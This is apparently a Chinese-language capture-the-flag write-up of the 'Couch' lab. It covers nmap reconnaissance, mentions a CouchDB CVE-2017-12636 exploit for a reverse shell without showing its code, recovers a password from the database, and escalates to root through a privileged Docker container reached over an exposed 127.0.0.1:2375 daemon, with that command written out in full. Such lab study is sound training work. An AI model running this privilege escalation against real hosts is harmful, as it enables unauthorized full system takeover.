Skip to main content

Couch

端口扫描

root@ip-10-10-149-225:~/couch# nmap -sTCV -p 22,5984 --min-rate 1000 10.10.113.174

Starting Nmap 7.60 ( https://nmap.org ) at 2023-08-31 10:35 BST
Nmap scan report for ip-10-10-113-174.eu-west-1.compute.internal (10.10.113.174)
Host is up (0.00012s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
| 256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_ 256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (EdDSA)
5984/tcp open http CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 02:0F:DD:DC:9D:F1 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds

5984

20240702213142

访问该端口进行目录扫描但是因为字典选错的原因, 并没有扫除任何东西, 所以就不贴出了,结合端口扫描内容以及页面显示可以确定服务是: CouchDB/1.6.1, 然后经过谷歌, 我发现了利用的漏洞

后渗透

couchdb

利用上面的两个漏洞, 我可以获取到一个反向 Shell, 利用脚本 CVE-2017-12636

20240702213311

couchdb —> atena

在获取到 couchdb 的 Shell 后我一直在找可以横向移动的点, 但是一直没有踪迹, 我注意到 5984 是一个数据库服务器, 那里可能有密码存在, 最终我发现了用户的密码

20240702213345

使用这个密码我成功获取到了 atena 的权限

20240702213356

atena --> root

我发现用户 atena 的历史文件是存在内容的, 所以进行了查看发现了一条比较特殊的命令

20240702213412

20240702213419

然后我执行了该命令发现可以进入到 docker 环境中, 从而完成提权操作, 注意此时我们是将系统根目录挂载到容器的 /mnt 下, 所以我们需要去 /mnt/root 下查看root.txt

atena@ubuntu:~$ id
uid=1000(atena) gid=1000(atena) groups=1000(atena),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
atena@ubuntu:~$ docker images
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/images/json: dial unix /var/run/docker.sock: connect: permission denied
atena@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

疑问

atena@ubuntu:~$ sudo -l
[sudo] password for atena:
Sorry, user atena may not run sudo on ubuntu.
atena@ubuntu:~$ id
uid=1000(atena) gid=1000(atena) groups=1000(atena),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
atena@ubuntu:~$ docker images
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/images/json: dial unix /var/run/docker.sock: connect: permission denied
atena@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

从上面可以看出这个 atena 用户不是 docker 组用户而且没有特权, 但是在我执行 docker images的时候报出没有权限, 但是在我执行提权命令的时候却可以,

我们首先来了解一下我们执行的命令:

atena@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
  • docker -H 127.0.0.1:2375: 使用指定的主机地址和端口连接到本地 Docker 守护进程。在这种情况下,使用 IP 地址 127.0.0.1 和端口 2375 连接到本地 Docker 守护进程。
  • run: 命令用于在新的容器中运行一个命令。
  • --rm: 在容器退出后自动删除容器。
  • -it: 以交互模式运行容器,允许你与容器进行交互。
  • --privileged: 以特权模式运行容器,即容器内的进程拥有对主机系统的完全访问权限。
  • --net=host: 让容器与主机共享网络命名空间,使容器能够访问主机的网络接口和端口。
  • -v /:/mnt: 将主机的根目录挂载到容器的 /mnt 目录,即将主机的根文件系统作为容器内的挂载点。

从这里我们可以看出这是连接本地 Docker 的守护进程, 接着查看后台进程我发现

20240702213450

/usr/bin/dockerd -H=fd:// -H=tcp://127.0.0.1:2375 是在命令行中启动 Docker 守护进程的命令,并指定了一些参数。

解释如下:

  • /usr/bin/dockerd: 这是 Docker 守护进程的可执行文件路径。通常情况下,它在 /usr/bin/ 目录下。
  • H=fd://: 这个选项指定 Docker 守护进程通过文件描述符(file descriptor)的方式进行通信。它表示使用与 Docker 客户端之间的标准输入输出(stdin/stdout)来进行通信。这种配置通常用于与 Docker 客户端在同一主机上的情况。
  • H=tcp://127.0.0.1:2375: 这个选项指定 Docker 守护进程通过 TCP 进行通信,并绑定到本地主机的 IP 地址 127.0.0.1 和端口 2375。这意味着 Docker 守护进程将通过 TCP 监听来自本地主机的连接请求,允许 Docker 客户端连接到守护进程进行远程管理操作。

通过上述命令,Docker 守护进程将同时支持通过文件描述符和 TCP 进行通信,使得可以在同一主机上通过标准输入输出或远程 TCP 连接来管理 Docker。